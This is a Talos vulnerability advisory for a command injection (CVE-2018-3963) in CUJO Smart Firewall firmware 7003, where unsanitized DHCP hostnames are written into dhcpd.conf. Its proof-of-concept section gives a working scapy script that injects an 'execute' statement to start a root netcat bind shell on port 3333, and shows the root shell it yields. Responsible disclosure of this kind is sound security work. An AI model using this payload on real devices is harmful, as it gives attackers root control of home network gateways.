Talos Vulnerability Report

TALOS-2018-0627

CUJO Smart Firewall static DHCP hostname command injection vulnerability

March 19, 2019
CVE Number

CVE-2018-3963

Summary

An exploitable command injection vulnerability exists in the DHCP daemon configuration of the CUJO Smart Firewall. When adding a new static DHCP address, its corresponding hostname is inserted into the dhcpd.conf file without prior sanitization, allowing for arbitrary execution of system commands. To trigger this vulnerability, an attacker can send a DHCP request message and set up the corresponding static DHCP entry.

Tested Versions

CUJO Smart Firewall - Firmware version 7003

Product URLs

https://www.getcujo.com/smart-firewall-cujo/

CVSSv3 Score

9.0 - CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Details

CUJO AI produces CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access. To achieve this, CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.

The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture. The firmware is present in the external eMMC and is based on OCTEON's SDK, which results in a Linux-based operating system running a kernel with PaX patches.

During normal operation, the core process is agent: it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with "tappers", which are processes meant to listen for a variety of network activities. CUJO uses a set of custom "tappers" and other known network-related tools, whose names are self-explanatory: mdnscap, dnscap, dhcpcap, arp-mitm, p0f, softflowd, scannerd, snort. The device continuously updates the remote server when new network activities are detected.

For normal usage, CUJO can be configured in "bridge" or "dhcp" mode, depending on how the network was initially set up. When CUJO is in "dhcp" mode, it runs its own DHCP server, namely ISC DHCP. The server is configured using the file /config/dhcpd.conf, which typically looks like this:

default-lease-time 86400;
max-lease-time 86400;

authoritative;

subnet 192.168.0.0 netmask 255.255.255.0 {
pool {
range 192.168.0.2 192.168.0.254;
}
option routers 192.168.0.1;
option domain-name-servers 10.0.0.1,8.8.4.4;
group {
}
}

From the smartphone application, it's possible to modify some of the DHCP parameters. For example, it's possible to add static DHCP entries for known hosts. Note that this operation requires holding valid credentials for logging into the CUJO account associated with the device.

Using dhcpcap, the device listens for DHCP traffic, which is relayed to the agent process via a Unix socket. In turn, agent sends the requests to the remote CUJO servers, to inform them of the network activity.

For example, when a computer in the monitored network sends a DHCP request, CUJO will forward the communication to its remote servers. For example, the client's DHCP request is sent as follows:

SEND
content-length:503
destination:/dhcp

{"source":{"mac":"11:22:33:44:55:66","ip":"0.0.0.0","port":68},"destination":{"mac":"FF:FF:FF:FF:FF:FF","ip":"255.255.255.255","port":67},"payload":"..."}

The "payload" field contains the full DHCP request in base64 format.

In particular, one of the DHCP options is the "Host Name Option", which is used by the client to inform the DHCP server about its hostname. This way, the remote servers can associate the IP address, MAC address and hostname of a device.

One of the reasons behind this traffic relay is that the remote server plays an active role on the network configuration. In fact, when the smartphone application wants to set a DHCP entry as static, it will only send a message to the remote servers asking to "set the host with a certain id as static", where the "id" is an ID internally generated by the remote servers. At this point, since the remote servers know how the network is configured and what hosts are present, it generates a new dhcpd.conf file which is sent to the device via the persistent connection, using a message like the one below:

MESSAGE
agentId:12345678
destination:/user/queue/dhcpd_conf
content-type:application/json;charset=UTF-8
subscription:10
message-id:1234a-123456789
content-length:706

{"payload":"..."}

The payload field contains the base64-encoded dhcpd.conf file with the added static entry:

default-lease-time 86400;
max-lease-time 86400;

authoritative;

subnet 192.168.0.0 netmask 255.255.255.0 {
pool {
range 192.168.0.3 192.168.0.254;
}
option routers 192.168.0.1;
option domain-name-servers 10.0.0.1,8.8.4.4;
group {
host mypc_D12345678 {                            # [1]
hardware ethernet 11:22:33:44:55:66;
fixed-address 192.168.0.2;
}
}
}

We can see at [1] that the hostname "mypc" is inserted into the configuration, together with a suffix ID.

When this message is received by the agent process, the decoded payload is written into a temporary file in "/tmp" and the file /bin/dhcpd_conf (shown below) is executed:

#!/bin/sh

exec 2>&1

tmp_conf="$1"

cleanup() {
    rm -v -f "${tmp_conf}"
}

trap cleanup EXIT

if ! /sbin/dhcpd -q -t -cf "${tmp_conf}" -lf /dev/null -pf /dev/null; then
    exit 1
fi

if ! mount -o remount,rw /config 2>/dev/null 1>&2; then
    exit 2
fi

mv -v -f "${tmp_conf}" /config/dhcpd.conf

if ! mount -o remount,ro /config 2>/dev/null 1>&2; then
    exit 3
fi

As we can see, the payload is checked for syntax errors using dhcpd -t, and if successful, the new configuration is copied to /config/dhcpd.conf.

During this whole process, the DHCP hostname present in the initial DHCP request will be inserted, unmodified, into the final configuration file. This allows for an attacker to inject any character into the configuration and eventually execute arbitrary commands.

Exploit Proof of Concept

The following proof of concept shows how to execute an arbitrary command inside the device. In particular, it sends a DHCP request with a hostname containing an injection for dhcpd.conf.

#!/usr/bin/env python

from scapy.all import *

payload = 'u{}}}execute("sh","-c","nc -c sh -l -p 3333 &");group{group{host k'

ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', type=0x800)
ip = IP(src ='0.0.0.0', dst='255.255.255.255')
udp = UDP (sport=68, dport=67)
bootp = BOOTP(op=1)
dhcp = DHCP(options=[("message-type","request"), ("hostname",payload), ("requested_addr","192.168.0.2"), ("end")])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet, iface="eth0")

The injection exploits the "execute" statement, which executes the nc command with root privileges.

After the DHCP request has been sent, the corresponding static DHCP entry should be added by talking to the remote servers, which can be achieved using the smartphone application. As soon as the entry is made static, the dhcpd.conf file will be injected, and the nc command will be executed. This spawns a listening shell on port 3333.

$ nc 192.168.0.1 3333
id
uid=0(root) gid=0(root) groups=0(root)

Timeline

2018-07-20 - Vendor Disclosure
2019-03-19 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.